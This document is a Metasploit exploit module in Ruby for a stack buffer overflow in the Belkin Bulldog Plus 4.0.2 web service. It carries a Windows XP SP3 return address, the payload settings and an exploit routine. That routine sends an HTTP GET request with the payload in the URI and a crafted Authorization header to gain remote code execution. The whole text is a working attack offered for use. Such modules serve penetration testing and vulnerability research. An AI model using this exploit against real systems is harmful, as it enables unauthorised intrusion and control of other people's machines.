Belkin Bulldog Plus Web Service Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Belkin Bulldog Plus  
4.0.2 build 1219. When sending a specially crafted http request,  
an attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '54395' ],  
[ 'BID', '34033' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],  
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Mar 8 2009'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
  
end  
  
def exploit  
c = connect  
  
dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string  
  
filler = [target.ret].pack('V') + dwerd + make_nops(28)  
  
print_status("Trying target #{target.name}...")  
  
send_request_raw({  
'uri' => payload.encoded,  
'version' => '1.1',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"  
}  
}, 5)  
  
handler  
end   
end  
`